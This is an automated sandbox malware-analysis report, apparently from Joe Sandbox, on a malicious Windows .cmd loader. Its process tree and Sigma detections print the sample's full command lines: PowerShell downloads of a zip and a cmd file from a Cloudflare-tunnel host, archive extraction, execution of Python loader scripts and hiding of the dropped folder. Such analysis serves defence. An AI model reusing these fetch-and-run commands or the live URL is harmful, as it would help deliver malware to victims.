Edit tour

Windows Analysis Report
ZtefPP1HI7.cmd

Overview

General Information

Sample name:	ZtefPP1HI7.cmd renamed because original name is a hash value
Original sample name:	0f1118b30b2da0b6e82f95d9bbf87101d8298a85287f4de58c9655eb8fecd3c6.cmd
Analysis ID:	1542802
MD5:	78394d33419a5fabccce61e5bfe12a0b
SHA1:	c3be51192fddfd41d688eef66842231d1d00142a
SHA256:	0f1118b30b2da0b6e82f95d9bbf87101d8298a85287f4de58c9655eb8fecd3c6
Tags:	CloudflareTunnelsRATcmduser-JAMESWT_MHT
Infos:

Detection

Score:	64
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

AI detected suspicious sample

Loading BitLocker PowerShell Module

Maps a DLL or memory area into another process

Suspicious powershell command line found

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Cloudflared Tunnels Related DNS Requests

Sigma detected: PowerShell Web Download

Sigma detected: Usage Of Web Request Commands And Cmdlets

Stores files to the Windows start menu directory

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Classification

Process Tree

System is w10x64

cmd.exe (PID: 7288 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\ZtefPP1HI7.cmd" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7304 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chrome.exe (PID: 7436 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://spectrum-exactly-knitting-rural.trycloudflare.com/policy.pdf MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 7760 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2584 --field-trial-handle=2392,i,6131583627039465295,1302718975251909702,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

timeout.exe (PID: 7452 cmdline: timeout /t 5 REM Wait for PDF to open (adjust timeout as needed) MD5: 100065E21CFBBDE57CBA2838921F84D6)

powershell.exe (PID: 7508 cmdline: powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://spectrum-exactly-knitting-rural.trycloudflare.com/jnk8ai.zip' -OutFile 'C:\Users\user\Downloads\jnk8ai.zip' }" MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 1072 cmdline: powershell -Command "& { Expand-Archive -Path 'C:\Users\user\Downloads\jnk8ai.zip' -DesusertionPath 'C:\Users\user\Downloads' -Force }" MD5: 04029E121A0CFA5991749937DD22A1D9)

AppInstallerPythonRedirector.exe (PID: 2156 cmdline: python.exe hey.py MD5: 5E1055E69FF01930C62388625726A90E)

AppInstallerPythonRedirector.exe (PID: 7324 cmdline: python.exe loader.py MD5: 5E1055E69FF01930C62388625726A90E)

chrome.exe (PID: 7272 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://spectrum-exactly-knitting-rural.trycloudflare.com/a.pdf MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 4192 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2044 --field-trial-handle=1980,i,15215304549136021077,16069531539284027564,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

timeout.exe (PID: 2320 cmdline: timeout /t 5 REM Wait for PDF to open (adjust timeout as needed) MD5: 100065E21CFBBDE57CBA2838921F84D6)

powershell.exe (PID: 3236 cmdline: powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://spectrum-exactly-knitting-rural.trycloudflare.com/update.cmd' -OutFile 'C:\Users\user\Downloads\update.cmd' }" MD5: 04029E121A0CFA5991749937DD22A1D9)

attrib.exe (PID: 7308 cmdline: attrib +h "C:\Users\user\Downloads\Python" MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

svchost.exe (PID: 7628 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Sigma Signatures

Sigma detected: Cloudflared Tunnels Related DNS Requests

Source: DNS query

Author: Nasreddine Bencherchali (Nextron Systems): Data: Image: C:\Program Files\Google\Chrome\Application\chrome.exe, QueryName: spectrum-exactly-knitting-rural.trycloudflare.com

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://spectrum-exactly-knitting-rural.trycloudflare.com/jnk8ai.zip' -OutFile 'C:\Users\user\Downloads\jnk8ai.zip' }", CommandLine: powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://spectrum-exactly-knitting-rural.trycloudflare.com/jnk8ai.zip' -OutFile 'C:\Users\user\Downloads\jnk8ai.zip' }", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\ZtefPP1HI7.cmd" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7288, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://spectrum-exactly-knitting-rural.trycloudflare.com/jnk8ai.zip' -OutFile 'C:\Users\user\Downloads\jnk8ai.zip' }", ProcessId: 7508, ProcessName: powershell.exe

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://spectrum-exactly-knitting-rural.trycloudflare.com/jnk8ai.zip' -OutFile 'C:\Users\user\Downloads\jnk8ai.zip' }", CommandLine: powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://spectrum-exactly-knitting-rural.trycloudflare.com/jnk8ai.zip' -OutFile 'C:\Users\user\Downloads\jnk8ai.zip' }", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\ZtefPP1HI7.cmd" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7288, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://spectrum-exactly-knitting-rural.trycloudflare.com/jnk8ai.zip' -OutFile 'C:\Users\user\Downloads\jnk8ai.zip' }", ProcessId: 7508, ProcessName: powershell.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://spectrum-exactly-knitting-rural.trycloudflare.com/jnk8ai.zip' -OutFile 'C:\Users\user\Downloads\jnk8ai.zip' }", CommandLine: powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://spectrum-exactly-knitting-rural.trycloudflare.com/jnk8ai.zip' -OutFile 'C:\Users\user\Downloads\jnk8ai.zip' }", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\ZtefPP1HI7.cmd" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7288, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://spectrum-exactly-knitting-rural.trycloudflare.com/jnk8ai.zip' -OutFile 'C:\Users\user\Downloads\jnk8ai.zip' }", ProcessId: 7508, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7628, ProcessName: svchost.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: ZtefPP1HI7.cmd

ReversingLabs: Detection: 44%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 98.1% probability

Source: unknown

HTTPS traffic detected: 23.206.229.209:443 -> 192.168.2.9:49831 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 13.107.246.42:443 -> 192.168.2.9:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.9:49809 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.9:49984 version: TLS 1.2

Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000006.00000002.1430185049.000002AEE4D9F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdb source: powershell.exe, 00000006.00000002.1430185049.000002AEE4D9F000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.1559079265.000001D0FC448000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\mscorlib.pdb source: powershell.exe, 00000006.00000002.1429803458.000002AEE4B85000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: softy.pdbat source: powershell.exe, 0000000E.00000002.1556477810.000001D0FC09D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\Microsoft.PowerShell.Commands.Utility.pdb19OH source: powershell.exe, 0000000E.00000002.1556477810.000001D0FC0EC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdb-4437-8B11-F424491E3931}\InprocServer32 source: powershell.exe, 00000006.00000002.1430185049.000002AEE4D5F000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.1485475716.000001D0E2138000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.pdb source: powershell.exe, 0000000E.00000002.1556477810.000001D0FC09D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 00000006.00000002.1430185049.000002AEE4D40000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.1556477810.000001D0FC0EC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: pdbpdblib.pdb source: powershell.exe, 00000006.00000002.1429803458.000002AEE4B85000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: 856ad364e35\Microsoft.PowerShell.Commands.Utility.pdb source: powershell.exe, 00000006.00000002.1430185049.000002AEE4DB7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ion.pdbb source: powershell.exe, 0000000E.00000002.1556477810.000001D0FC0EC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: 0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.pdb source: powershell.exe, 00000006.00000002.1430185049.000002AEE4DB7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdbl source: powershell.exe, 00000006.00000002.1428114145.000002AEE4A96000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb35 source: powershell.exe, 00000006.00000002.1430185049.000002AEE4D40000.00000004.00000020.00020000.00000000.sdmp

Source: Joe Sandbox View

IP Address: 239.255.255.250 239.255.255.250

Source: Joe Sandbox View	JA3 fingerprint: 1138de370e523e824bbca92d049a3777
Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: unknown

HTTPS traffic detected: 23.206.229.209:443 -> 192.168.2.9:49831 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.11
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.11
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.209
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.209
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.209
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.11
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.209
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.209
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.209
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.209
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.11
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.209
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.209
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.209
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.209
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.209
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.209
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.209
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
